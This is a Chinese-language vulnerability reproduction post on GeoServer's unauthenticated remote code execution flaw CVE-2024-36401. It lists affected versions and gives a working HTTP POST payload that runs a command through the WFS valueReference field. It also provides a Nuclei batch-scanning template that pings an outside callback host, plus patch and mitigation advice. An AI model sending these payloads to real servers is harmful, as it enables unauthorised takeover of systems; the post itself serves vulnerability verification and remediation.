【漏洞复现】Geoserver远程代码执行漏洞(CVE-2024-36401)

文章目录

漏洞描述

GeoServer是一个用Java编写的开源软件服务器,允许用户共享和编辑地理空间数据。它为提供交互操作性而设计,使用开放标准发布来自任何主要空间数据源的数据。

GeoServer存在远程代码执行漏洞(CVE-2024-36401),未经身份认证的远程攻击者可以通过该漏洞在服务器上执行任意代码,从而获取服务器权限。

漏洞名称 Geoserver远程代码执行漏洞
CVE编码 CVE-2024-36401
漏洞类型 代码执行
漏洞等级 高危
公开时间 2024-07-02

影响版本

GeoServer < 2.23.6

2.24.0 <= GeoServer < 2.24.4

2.25.0 <= GeoServer < 2.25.2

利用条件

无需任何利用条件

漏洞复现

bash 复制代码
POST /geoserver/wfs HTTP/1.1
Host: ip
Content-Type: application/xml
Content-Length: 339

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"ping dgrh3.cn -c 1")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

批量脚本

yaml 复制代码
id: CVE-2024-36401-GeoServer-wfs-rce

info:
  name: GeoServer 远程代码执行漏洞(CVE-2024-36401)
  author: whgojp
  severity: critical
  description: GeoServer 远程代码执行漏洞(CVE-2024-36401)

http:
- raw:
  - |-
    @timeout: 30s
    POST /geoserver/wfs HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/xml
    Content-Length: 324

    <wfs:GetPropertyValue service='WFS' version='2.0.0'
     xmlns:topp='http://www.openplans.org/topp'
     xmlns:fes='http://www.opengis.net/fes/2.0'
     xmlns:wfs='http://www.opengis.net/wfs/2.0'
     valueReference='exec(java.lang.Runtime.getRuntime(),"ping {{interactsh-url}}")'>
     <wfs:Query typeNames='topp:states'/>
    </wfs:GetPropertyValue>

  max-redirects: 3
  matchers-condition: and
  matchers:
      - type: word
        words:
          - "dns"
        part: interactsh_protocol

修复建议

GeoServer已经发布先前版本的补丁,可以从下载页面(https://geoserver.org/)下载:2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0,从下载的补丁中获取gt-app-schema和gt-complex和 gt-xsd-core jar文件,替换掉WEB-INF/lib里面对应的文件即可。

临时缓解措施

删除GeoServer 中gt-complex-x.y.jar文件(x.y为GeoTools 版本,例如GeoServer 2.25.1中是gt-complex-31.1.jar),这将从 GeoServer 中删除漏洞代码,但可能会破坏某些 GeoServer 功能。

参考链接

https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
https://osgeo-org.atlassian.net/browse/GEOT-7587
https://github.com/vulhub/vulhub/pull/540/files#diff-f83989e1a9d69179df696bc01c04fbf62ba914325457bef67c1d95fb63772e91

相关推荐
Flynt5 天前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
冬奇Lab9 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
Aphasia31113 天前
VPN 与内网穿透
安全
Mr_愚人派14 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
DaLi Yao14 天前
【无标题】
人工智能·安全
Alsn8614 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院14 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展
treesforest14 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
零零信安14 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
开发小能手-roy15 天前
StringBuilder vs StringBuffer:2024年还需要线程安全字符串吗?
开发语言·python·安全